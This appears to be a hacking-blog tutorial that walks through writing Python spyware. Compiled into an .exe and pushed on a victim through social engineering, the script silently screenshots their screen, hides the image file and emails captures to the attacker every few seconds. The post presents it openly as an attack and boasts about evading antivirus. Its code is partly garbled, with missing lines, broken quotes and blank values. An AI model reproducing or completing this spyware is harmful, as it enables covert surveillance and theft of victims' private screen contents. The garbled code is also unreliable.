Now Reading
How To: Make Your Remote Screenshot Captor(Python)4 min read
The short URL of the present article is:

Hi I am a new member of null byte(although I am reading this website from the beginning) and this is going to be my first post.

Let me introduce myself first !

I am from Greece, I am working as a network engineer and I am into system and network administration but definitely I am not a developer. I am not so good at this, I don’t want to and I don’t have the time for this.

But I have to admit that It is good for anybody in this field(network administration, computer security etc) to have some basic skills and knowledge to fundamentals of programming because without these skills (at least) you will not go very far.

Ok let’s begin with my tutorial and I have to say that It is not anything complicated or very technical but I am willing to show you( on my tutorial series) many beautiful python scripts that can give you CLEAN and FAST solutions.

I say clean because when you code something from the begining(an exploit, a listener etc) you don’t have to worry about how to evade Antivirus, change signatures etc. and I say fast because It is more easier to make a script, converted as an .exe and make some social engineering instead of using all these tools that are already marked as viruses by the vast majority of anti-viruses.

Step 1: Prologue

As you understand from the title I am going to show you how to make a python script that can send screenshots from the “victim’s” computer to the attacker’s pc.

The way that It works is that when the “victim” enters this exe(with social engineering) then It saves a screenshot to his computer(we will choose a place to save this png in a way that he can’t see It) and It sends a new screenshot every x seconds(minutes etc) to your email.

Step 2: Libraries

First of all let’s set our libraries.

import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
import os
import autopy
import time

Step 3: Explanation of the Modules

Smtplib=The smtplib module defines an SMTP client session object that can be used to send mail to any Internet machine with an SMTP or ESMTP listener daemon

MIME=You can create a new object structure by creating messages instances, adding attachments and all the appropriate headers manually

import os= This module provides a portable way of using operating system dependent functionality

import autopy= AutoPy is a cross-platform, simple GUI automation toolkit for Python. It includes functions for controlling the keyboard and mouse, finding colors and bitmaps on-screen, and displaying alerts

import time=We will need this module to specify the time that we want the screenshots to our email

Step 4: Global Variables

Now we will put two global variables and we are going to write our email(I have chosen gmail you can choose whatever email service you want) and our password. We set the variables as global because our script is going to need It in many cases.

gmailuser = “”
pwd = “I am the password”

Step 5: Functions

Now we are going to write our two functions.

The first function is for the capturing of the screen and we need to write where do we want to copy the png file on victim’s pc.


def capture():
bitmap = autopy.bitmap.capturescreen()“C:capturing.png”)

The second function is for setting the parameters for the attachment document:

def mail(to, subject, text, attach):

msg = MIMEMultipart()
msg’From’ = gmailuser
msg’To’ = “”
msg’Subject’ = subject


part = MIMEBase(‘application’, ‘octet-stream’)
part.setpayload(open(attach, ‘rb’).read())
‘attachment; filename=”%s”‘ % os.path.basename(attach))

mailServer = smtplib.SMTP(“”, 587)
mailServer.login(gmailuser, gmailpwd)
mailServer.sendmail(gmailuser,””, msg.asstring())

Step 6: The End

The ending function gathers these two functions and setting some parameters like the subject of the email and the time that we want the program to send us the screenshots. I set It to send me the screenshots every 5 seconds but of course you can set the time however you want

def main():
while True:
“Antisocial Engineering”,
“This is an evil email”,

if _name_==’_main_’:

Step 7: The Source Code

The short URL of the present article is:
What's your reaction?
About The Author

Leave a Response